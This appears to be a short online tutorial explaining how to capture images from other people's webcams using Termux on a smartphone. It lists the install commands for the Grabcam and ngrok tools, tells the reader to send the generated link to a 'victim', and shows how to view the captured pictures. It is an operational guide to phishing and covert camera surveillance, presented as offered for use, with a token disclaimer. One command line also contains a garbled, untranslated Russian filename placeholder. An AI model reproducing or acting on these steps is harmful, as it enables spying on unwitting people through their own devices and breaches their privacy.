Many users are still unaware that it is possible to exploit the capabilities of their smartphone to the full with just a few slight modifications. On this occasion, mobile security experts from the International Institute of Cyber Security (IICS) will show you how to hack a webcam from your smartphone using Termux.
To do this, we will use a couple of tools: Grabcam, a tool to hack cameras connected to the Internet through a web page; and Ngrok, a platform that, using the installed utility, allows you to organize remote access to a web server or some other service running on a PC.
According to mobile security experts, the first thing we must do is download the necessary resources using the commands listed below.
apt-get update -y apt-get upgrade -y pkg install python -y pkg install python2 -y pkg install wget -y pip install lolcat pkg install git -y git clone https://github.com/noob-hackers/grabcam cd grabcam chmod +x grabcam.sh bash grabcam.sh
Now open a new session to complete the ngrok installation:
pkg update && pkg upgrade pkg install git git clone https://github.com/tchelospy/termux-ngrok.git cd termux-ngrok chmod +x termux-ngrok.sh ./termux-ngrok.sh
Then go to the phone settings, turn on your mobile internet and distribute WiFi. When returning to Termux, select the Ngrok element, copy the resulting link and send it to the victim. To view the images, just enter:
ls termux-open camназваниевашейкартинки.png
This concludes the tutorial. As many users will have noticed, the tool is similar to SAYHELLO, although it is always good to have other options. In addition to these tools, remember to have the target user click on a specially designed link, although this is a topic for another time.
As usual, we remind you that this material was prepared for informational purposes only, so IICS is not responsible for the misuse that may occur to these tools.
